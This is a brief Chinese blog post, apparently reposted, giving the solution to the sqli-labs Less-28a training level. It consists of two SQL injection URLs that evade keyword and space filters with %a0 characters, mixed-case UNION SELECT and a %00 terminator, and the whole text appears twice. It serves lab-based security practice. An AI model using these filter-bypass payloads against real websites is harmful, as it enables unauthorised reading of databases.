和less28没什么区别，直接上个payload吧
http://192.168.136.128/sqli-labs-master/Less-28a/?id=0‘)%a0uNion%a0sElect%a01,2,(‘3
这样也行
http://192.168.136.128/sqli-labs-master/Less-28a/?id=0‘)%a0uNion%a0sElect%a01,2,3;%00
标签：图片 http you 括号 log col color select info
和less28没什么区别，直接上个payload吧
http://192.168.136.128/sqli-labs-master/Less-28a/?id=0‘)%a0uNion%a0sElect%a01,2,(‘3
这样也行
http://192.168.136.128/sqli-labs-master/Less-28a/?id=0‘)%a0uNion%a0sElect%a01,2,3;%00
标签：图片 http you 括号 log col color select info
原文地址：https://www.cnblogs.com/superkrissV/p/8372081.html
